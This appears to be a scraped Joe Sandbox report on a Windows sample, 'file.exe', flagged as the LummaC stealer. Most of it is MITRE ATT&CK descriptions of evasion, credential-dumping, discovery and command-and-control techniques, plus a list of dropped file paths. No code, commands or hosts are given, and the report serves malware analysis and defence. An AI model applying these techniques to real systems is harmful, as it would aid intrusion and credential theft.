Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1612_1377413773\LICENSE

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1612_1377413773\_metadata\verified_contents.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1612_1377413773\manifest.fingerprint

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1612_1377413773\manifest.json

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1612_1377413773\sets.json

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Windows Analysis Report
file.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre